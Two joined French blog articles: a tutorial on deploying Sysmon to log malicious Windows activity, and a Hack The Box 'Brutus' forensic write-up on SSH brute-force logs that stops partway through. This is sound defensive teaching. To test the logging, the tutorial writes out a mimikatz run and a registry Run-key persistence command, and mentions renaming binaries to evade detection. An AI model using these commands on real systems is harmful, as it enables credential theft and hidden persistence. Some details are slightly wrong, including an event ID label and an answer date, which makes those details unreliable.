I. Présentation

Dans cet article, nous allons nous intéresser à Sysmon, un outil qui permet une meilleure journalisation des évènements de sécurité système sous Windows. Il s'agit d'un élément indispensable pour une surveillance efficace des évènements de sécurité.

Nous allons notamment voir que les évènements Windows par défaut ne permettent pas d'avoir une détection très précise des activités systèmes et des attaques telles qu'elles sont opérées aujourd'hui, et comment Sysmon permet d'améliorer cette détection.

Nous verrons également comment l'installer et le configurer à l'aide de modèles de configuration proposés par la communauté, et analyserons ensuite concrètement les journaux produits par Sysmon.

II. Sysmon : qu'est ce que c'est ?

Sysmon (pour System monitor) est à la fois un service et un driver fournit dans le package SysInternals de Microsoft. Il vise à améliorer la journalisation des évènements Windows avec un focus sur la journalisation des évènements de sécurité système. Il s'agit plus d'un outil de détection que de prévention, dans le sens où il permet une meilleure journalisation des évènements, mais ne permet pas à lui seul de bloquer des activités malveillantes.

Depuis Sysmon 14, Microsoft a revu sa stratégie concernant Sysmon. Celui-ci peut maintenant bloquer des exécutables malveillants ("FileBlockExecutable") ainsi que la suppression de fichiers via certains outils ("FileBlockShredding"). Cette protection n'est cependant pas parfaite et ne remplace par une solution dédiée (EPP/EDR).

Pour être plus clair, voici une partie de la liste des évènements que Sysmon peut surveiller et journaliser :

• Création de processus
• Modification de l'heure de création d'un fichier
• Connexion réseau
• Modification de l'état du service Sysmon
• Fin d'un processus
• Chargement de pilote
• Chargement d'image (injection de DLL)
• Evènement CreateRemoteThread (création d'un thread par un processus)
• Evènement RawAccessRead
• Requête DNS
• ProcessTampering
• etc.

Tous ces évènements peuvent paraitre très (trop) précis pour être intéressants. Mais, tous correspondent à des attaques et modes opératoires bien identifiés et connus des attaquants. Sysmon permet alors de retracer bien plus précisément que les logs par défaut une activité malveillante sur un système.

En plus de journaliser ces évènements clés pour surveiller l'activité d'un système, il inclut plusieurs éléments importants du point de vue des équipes de sécurité et relatifs au contexte de l'évènement :

• les condensats (ou hash) des images des processus lancés
• les GUID des processus (facilite la corrélation des évènements)
• des informations précises sur les connexions réseau (processus source, adresse IP, numéro de port, etc.)
• Integrity Level du processus
• des informations relatives aux métadonnées des processus (signature, auteur, description)
• etc.

Ces différents éléments facilitent également l'investigation numérique ainsi que la recherche et corrélation d'évènements, par exemple, grâce aux IOC (Indicators of compromise) publiés par la communauté ou une équipe interne de Threat Intelligence (adresse IP, nom DNS, hash d'un binaire, etc). Rien de mieux qu'un exemple pour illustrer cela. Comparons la journalisation de l'évènement "Création d'un processus" entre les logs par défaut Windows et les journaux créés par Sysmon (cliquez sur l'image pour zoomer) :

L'eventID 1 (à droite de l'image) créé par Sysmon est beaucoup plus verbeux en contenu technique. Il fournit plus d'informations de contexte autour de l'exécution du processus. Ces informations vont notamment grandement faciliter la recherche et la détection d'activité malveillante qui ont lieu sur le système.

Il faut savoir que l'intérêt de Sysmon est aussi la journalisation d'évènements qui ne sont pas du tout journalisés par Windows (au contraire de la création d'un processus, qui est le cas le plus simple pour exposer les capacités de Sysmon). Nous verrons ensuite que, grâce à la configuration que nous allons utiliser, les TTP (Tactics, Techniques and Procedures ) relatifs à tel ou tel évènement journalisé sont aussi indiqués. Nous comprenons donc bien ici que l'intérêt de Sysmon est d'avoir des logs plus précis, orientés autour d'évènements de sécurité très importants sur un système d'exploitation et facilitant la détection et l'investigation numérique.

Enfin, comme tout élément capable de générer des journaux d'évènement, la puissance Sysmon est décuplée si ces évènements sont centralisés et analysés par une plateforme de type SIEM (ELK, Splunk, etc.) et traités par un SOC (Security Operation Center).

Le code source de Sysmon est public et peut être consulté librement. Ainsi, vous pouvez découvrir précisément comment il fonctionne : Github - Sysinternals/SysmonCommon

III. Logs Windows : quelques trous dans la raquette

Les journaux d'évènements Windows peuvent paraitre complexes au premier abord. D'apparence, ils sont assez verbeux et consultables à travers un outil de visualisation/recherche peu efficace ("Observateur d'évènements"). Il est difficile de trouver exactement ce que l'on cherche si l'on n'y est pas familier.

Également, la politique d'audit par défaut de Windows passe sous silence des évènements importants de l'activité sur le système. Pour illustrer ce constat, intéressons-nous aux journaux produits durant trois étapes d'attaque d'un système. Pour faciliter cette analyse, j'ai créé un filtre de journalisation dans l'Observateur d'évènements qui centralise tous les Event ID, peu importe leur source :

Admettons qu'en tant qu'attaquant, j'exécute le binaire "mimikatz64.exe" :

.\mimikatz64.exe

Par défaut, cette activité n'est pas journalisée comme nous le montre "auditpol.exe" :

Tel que recommandé dans le guide "Recommandations de sécurité pour la journalisation des systèmes Microsoft Windows en environnement Active Directory" de l'ANSSI, nous pouvons positionner la stratégie d'audit "Suivi Détaillé" > "Création du processus" à "Réussite". Alors, si l'on réitère la même opération, un évènement avec l'Event ID "4688 - A new process has been created" sera créé :

La moindre des choses que l'on puisse dire est que cet évènement est peu verbeux. Les seuls éléments concrets dont nous disposons sont : le nom de compte ayant exécuté la commande, le nom du processus créateur et le nom du processus. Par exemple, le simple fait de renommer "mimikatz64.exe" en "itconnect.exe" suffit à contourner l'un des principaux éléments sur lequel une détection serait possible (le nom du processus) :

Dans un second temps, je décide d'ajouter un moyen de persistance en modifiant le contenu de la clé de registre "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run". Cette clé de registre est utilisée pour lancer des binaires au démarrage (voir Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder). Il s'agit d'un moyen de persistance très connu et souvent utilisé par les attaquants, qui leur permet d'avoir une connexion vers leur serveur C2 (Command & Control) dès le démarrage du système compromis :

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v mabackdoor /t REG_SZ /d "Z:\backdoor.exe"

J'utilise ensuite la CmdLet PowerShell "Get-EventLog" pour récupérer les évènements 4657 – A Registry Value Was Modified relatifs à la modification d'une clé de registre :

À nouveau, aucun évènement n'est journalisé par défaut sous Windows lors de la modification des clés de registre. Enfin, je vais initialiser une connexion réseau vers un serveur malveillant afin de récupérer un ransomware :

À nouveau, aucun évènement journalisé.

Comment nous le voyons à travers cet exemple, les journaux d'évènements produits par Windows par défaut ne sont pas suffisants pour tracer exactement le déroulement de mon attaque et de mon activité sur le système. Par défaut, ils ne sont pas tous activés et lorsqu'ils le sont, leur contenu n'est pas assez détaillé pour une investigation numérique efficace.

Autrement dit, si vous subissez une cyberattaque et que, par chance, vos journaux d'évènements sont préservés (externalisation, centralisation, voire sauvegarde), ceux-ci ne seront pas suffisants pour que l'équipe d'investigation numérique ou de remédiation puisse vous dire précisément ce qu'il s'est passé, par où est passé l'attaquant, quelles ont été ses actions, etc.

IV. Déploiement de Sysmon

A. Installer Sysmon de façon classique

Nous allons à présent voir comment installer Sysmon sur un système Windows (serveur ou client, la procédure est la même). Pour acquérir la dernière version de Sysmon, il faut le télécharger depuis le site de Microsoft : SysInternals - Sysmon.

Attention à bien télécharger le binaire depuis le site de Microsoft, et nulle part ailleurs.

Une fois que ce binaire est téléchargé, décompressé et présent sur notre système cible, nous allons ouvrir une Invite de commande en tant qu'administrateur, puis exécuter le binaire avec l'option "-i" :

.\Sysmon64.exe -i -accepteula

Voici la sortie attendue :

L'installation de Sysmon64 entraine notamment la création d'un service "Sysmon64" et l'installation d'un driver "SysmonDrv", dont le rôle est de capturer les évènements de sécurité côté kernel. Le driver échange notamment avec les API Windows et exploite l'Event Tracing for Windows (ETW) pour capturer les informations sur les actions qu'il souhaite surveiller.

Il est important de noter que l'installation de Sysmon est permanente, son service et son driver seront toujours présents et actifs après un redémarrage. Il peut toutefois être désinstallé simplement.

Le driver permet notamment à Sysmon d'utiliser des callbacks, aussi appellés hooks (crochet), sur des fonctions clés du système d'exploitation. Lorsqu'une fonction surveillée est invoquée, le callback associé au driver Sysmon est déclenché. À ce moment-là, Sysmon peut collecter des informations pertinentes sur l'événement en cours, telles que les détails du processus impliqué, les arguments de la fonction, les fichiers accédés, etc. Ces informations sont ensuite journalisées. On retrouve cette mécanique sur la plupart des services type EPP/EDR aujourd'hui.

Aucun redémarrage n'est nécessaire, en vous rendant dans le "Gestionnaire de tâches" puis dans "Services", vous devriez voir le service "Sysmon64" en cours d'exécution :

Vous noterez également qu'il est impossible d'arrêter ce service en tant qu'administrateur :

Cela est dû à une protection mise en place par Windows sur ce service : le Protected Process Light. Cette protection est notamment chargée de vérifier l'intégrité du code pour s'assurer que seul le code "vérifié" et "de confiance" est chargé dans le processus protégé. Ainsi, il ne peut être pris pour cible d'une injection de code ou de DLL et personne ne peut toucher à ce processus :

Grâce à cette protection, il sera plus difficile pour l'attaquant d'altérer le fonctionnement de ce processus en vue de mettre fin à la journalisation de ses actions.

Sysmon s'installe par défaut avec une configuration qui permet de journaliser certains évènements. Cette configuration par défaut peut être consultée via l'option "-s" :

.\Sysmon64.exe -s

Voici le résultat attendu :

Comme vous pouvez le voir, il s'agit d'une configuration au format XML. Celle-ci permet de définir les évènements à journaliser, leur Event ID et leur contenu. Exemple avec la journalisation de la création d'un processus :

Ici, nous voyons dans un premier temps la définition de l'event ID avec son nom et son ID ("1"). Les sections précédentes de cet article contiennent déjà un exemple d'évènement créé via cette règle, vous pourrez donc voir les champs déclarés par la configuration dans cet évènement. Par défaut, la journalisation de cet évènement est activée ("ruledefaut=include"). Ce qui n'est pas le cas de tous les évènements, exemple avec l'évènement "11 - Process Create" :

Ainsi, avec la configuration par défaut, vous ne constaterez aucun évènement avec l'ID 11 dans vos logs. Nous voyons ici qu'il faut savoir lire et comprendre cette configuration, au risque de ne pas être assez précis dans notre journalisation.

Pour visualiser les logs, ouvrez l'Observateur d'évènements, puis rendez-vous dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon".

En fonction de la configuration en place (pour l'instant, celle par défaut), vous verrez dès à présent différents évènements journalisés.

B. Installation discrète de Sysmon

Les attaquants les plus avancés vont toujours commencer par regarder quels sont les composants de sécurité en place sur un système avant de tenter d'aller plus loin dans leur compromission. Il s'agit d'une phase de prise d'information très classique, par exemple :

• Est-ce qu'un EPP (Endpoint Protection) est en place ? Ils peuvent pour cela regarder la liste des processus en cours d'exécution à la recherche de nom d'agents EPP connus (Trellix, Symantec, Sophos, etc.)
• Est-ce que Microsoft Defender est actif ? Si oui, quelle est sa configuration ? Contient-elle des exclusions intéressantes ? Sa base antivirale est-elle à jour ?
• Les journaux d'évènements sont-ils envoyés sur un autre système ? Ce qui serait le signal qu'un SIEM, voire un SOC peut enregistrer et voir son activité malveillante. L'attaquant peut pour cela regarder les processus et services actifs à la recherche d'agent de transmission de log connus, ou encore les connexions établies visant des ports connus, etc.
• Est-ce que Sysmon est installé ? Quelle est sa configuration ? Contient-elle des exclusions intéressantes ?

La réponse à ces questions permet à l'attaquant d'avoir une idée du niveau de discrétion dont il doit faire preuve pour ses prochaines opérations sur le système ou le réseau.

Cependant, Sysmon donne la possibilité aux administrateurs de dissimuler sa présence, notamment en modifiant le nom du driver et du service lorsqu'il s'exécute. Par défaut, comme nous l'avons vu, nous pouvons voir un service "Sysmon64" actif dans la liste des services en cours d'exécution :

Lors de la phase d'installation, Sysmon propose l'option "-d" pour permettre de donner un nom arbitraire au driver Sysmon (limité à 8 caractères). Quant au nom du service, il est déterminé par le nom du binaire exécuté lors de l'installation. Il nous suffit donc de le modifier avant installation :

Une fois cette opération effectuée, il sera plus difficile pour l'attaquant de détecter la présence de Sysmon sur le système :

Sur l'image ci-dessus, le processus Sysmon apparait bien comme "ITCProc". Dès lors, pour gérer le service Sysmon et par exemple, récupérer sa configuration actuelle, il faudra utiliser le binaire nommé "ITCProc.exe", l'utilisation de "Sysmon64.exe" ne fonctionnera plus.

Attention, cette méthode est une dissimulation et il existe d'autres moyens de détecter la présence du driver Sysmon (notamment via son altitude identifier).

V. Configuration de Sysmon

A. Récupération et étude d'une configuration XML Sysmon

À présent, nous allons configurer Sysmon pour qu'il journalise les évènements qui nous intéressent. La configuration par défaut est un bon départ, mais vous allez voir qu'il est possible d'aller beaucoup plus loin assez simplement.

Nous allons notamment nous baser sur des configurations connues et éprouvées créées par la communauté de la cybersécurité. La configuration la plus connue est celle proposée par SwiftOnSecurity, consultable et téléchargeable ici : Github - SwiftOnSecurity :

Cette configuration comporte plusieurs intérêts :

• Elle est éprouvée par la communauté et sa pertinence est reconnue. Vous pouvez notamment jeter un œil à son historique de modification Github.
• Elle est documentée, même si la lecture de son contenu peut être difficile à cause du format XML, elle contient différents commentaires permettant de comprendre ses principales sections, exclusions
• Elle est bien structurée, ce qui permet une compréhension et une modification aisée. Elle peut ainsi servir de base à une configuration propre à vos besoins et environnements
• Elle contient des cas d'exclusions permettant d'éliminer les faux positifs "classiques" sur les OS Windows, facilitant ainsi l'exploitation des journaux créés par Sysmon.
• Elle apporte des éléments de contexte supplémentaires sur chaque Event ID tels que les TTP du MITRE relatif à une action malveillante journalisée.

Bref, utiliser cette configuration apporte une réelle plus-value par rapport à celle par défaut et un gain de temps qui évite d'avoir à concevoir sa propre configuration XML, avec les difficultés que le format et la complexité des uses-case apportent. Avant de l'appliquer, je vous recommande tout de même de finir la lecture de cet article, puis de lire en détail le contenu de la configuration XML, afin que vous sachiez exactement ce qui sera journalisé et ce qui sera exclu de la journalisation.

B. Application d'une nouvelle configuration Sysmon

Il nous suffit donc de télécharger cette configuration XML puis de l'appliquer à Sysmon, nous pouvons utiliser l'option "-c" :

.\Sysmon64.exe -c .\sysmonconfig-export.xml

Voici la sortie attendue :

Pour vérifier que notre configuration est en place, nous pouvons utiliser l'option "-c" de "Sysmon" :

Les éléments de configuration affichés sont à présent très différents et bien plus verbeux que la configuration par défaut de Sysmon.

Nous pouvons à tout moment revenir à la configuration par défaut avec l'option "-c --".

C. Suppression du fichier de configuration

Maintenant que nous avons appliqué notre configuration à Sysmon, il est très important de ne pas laisser le fichier de configuration persister sur le système sous la forme d'un fichier XML. Si l'attaquant accède à ce fichier, il aura la possibilité de comprendre en détail les règles de détection en place, incluant ses potentielles exclusions et exceptions. Ainsi, il pourra construire une attaque qui exploite ou contourne les règles configurées.

En cela, il est mieux de laisser l'attaquant dans le noir et de supprimer cette configuration du système. Attention à ne pas non plus la laisser accessible sur un partage réseau trop ouvert auquel l'attaquant pourrait avoir accès.

Même si le fichier de configuration initial a été supprimé, Sysmon aura toujours cette configuration à disposition. Lors de l'import d'une configuration avec l'option "-c", Sysmon transforme cette configuration XML en blob de données et le stocke dans une clé de registre :

Ce blob de donnée n'est pas facile à parser et l'attaquant aura du mal à récupérer en clair les règles et exclusions de la configuration à partir de celui-ci.

VI. Exemple de journaux Sysmon

Comme nous l'avons vu, les journaux d'évènements Sysmon sont stockés dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon". Si je réitère mon activité malveillante initiale (celle qui n'avait pas été ou peu journalisée par les logs par défaut de Windows) : voici ce que je peux voir dans les logs Sysmon (cliquez sur l'image pour zoomer) :

Nous voyons clairement dans les logs : un event ID 1 - Process Create, un event ID 13 - Registry value set et and event ID 3 : Network Connecion detected. Ce qui correspond et retrace exactement les activités malveillantes réalisées sur le système. Dans la capture ci-dessus, nous avons les détails de l'exécution de "mimikatz64.exe", déjà exposé précédemment dans cet article. On peut noter la présence de nombreuses informations, dont le hash MD5 du binaire, qui ne changera pas en fonction du nom qui lui est donné (bien que des méthodes simples permettent de modifier ce hash pour qu'il ne colle plus aux signatures classiques).

• Pour en savoir plus sur ce qu'est un hash MD5, je vous oriente vers notre article : Gestion d’empreinte numérique sur Linux

Nous pouvons également regarder le contenu de l'évènement relatif à l'ajout d'une valeur dans une clé de registre :

À nouveau, nous avons un grand nombre d'informations à propos de l'évènement, le processus parent, le nom de la clé de registre modifiée, sa valeur, on y retrouve clairement l'exécutable malveillant, etc. Vous remarquerez également la présence du "T1060" dans l'attribut "RuleName", il s'agit de l'identifiant du TTP relatif à cette action malveillante. Cet ajout provient de la configuration SwitfOnSecurity et vise à aider l'analyste à comprendre la nature et l'impact d'un évènement de sécurité.

Pour mieux comprendre l'intérêt et les bénéfices de cette information, regardons par exemple le contenu du TTP T1060 sur le site du framework MITRE ATT&CK (le framework ayant été mis à jour récemment, l'action au TTP 1060 rédige vers son nouvel identifiant : T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ):

Il ne s'agit là que d'un extrait, mais l'on comprend ici bien plus en détail les enjeux de cet évènement : l'attaquant a cherché à établir une persistance sur le système en modifiant une clé de registre contenant des binaires exécutés au démarrage.

Enfin, voici l'évènement relatif au téléchargement d'un binaire malveillant depuis un serveur appartenant à l'attaquant, action qui n'était pas du tout journalisée par les logs par défaut de Windows :

Là aussi, nous obtenons des informations claires et précises sur l'évènement, notamment l'IP, nom et port de destination, qui sont des informations importantes en termes de détection (grâce aux IOC) et d'investigation.

Pour mieux comprendre chaque évènement produit par Sysmon, nous pouvons utiliser la documentation Microsoft, qui référence précisément les eventID et leur définition : Sysmon - Events

VII. Conclusion

J'espère que cet article vous a aidé à mieux comprendre ce qu'est Sysmon, son utilisation standard ainsi que sa plus-value pour la sécurité d'un système Windows et plus globalement du système d'information. Nous n'avons pas fait un tour complet de l'outil, notamment en ce qui concerne les évènements plus techniques (CreateRemoteThread, RawAccessRead, Process Tampering, etc.), ni la construction complète d'un fichier de configuration avec ses exclusions, exceptions, etc. Mais, le contenu de l'article devrait être suffisant pour mettre en place et utiliser Sysmon au sein de votre système d'information.

Ce qu'il est important de retenir au-delà de Sysmon est l'importance d'avoir une journalisation la plus complète et précise possible concernant les évènements de sécurité, puis d'être capable de la centraliser (SIEM) et de surveiller activement et comprendre ces différents évènements. Dans cette démarche macro, Sysmon n'est finalement qu'un point de départ.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Windows : utilisation de Sysmon pour tracer les activités malveillantes first appeared on IT-Connect.

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.

Lien du challenge : Hack The Box - Sherlocks - Brutus

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordées	Linux, bruteforce, wtmp, auth.log, SSH
Outils utilisés	cat, grep, tail, uniq, framework MITRE ATT&CK

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive et des journaux

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.

Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :

Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.

Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.

Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.

Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :

• Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
  • Vous pourrez en apprendre plus sur ce fichier dans notre article Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?
• Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.

Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :

Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184

Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.

III. Investigation numérique : le cas Brutus

A. Tâche n°1: Identifier l'adresse IP de l'attaquant

• Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.

Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.

$ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68

Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :

$ grep "65.2.161.68" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422

Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.

Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.

Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.

B. Tâche n°2 : Authentification réussie

• Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :

$ grep "65.2.161.68" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :

$ grep "Accepted" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh

La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.

C. Tâche n°3 : Date de connexion SSH

• Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".

$ last -f wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.

Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".

D. Tâche n°4 : Identification de session SSH

• Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.

Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.

Nous pouvons pour cela utiliser l'option "-A X" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".

$ grep "Accepted" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
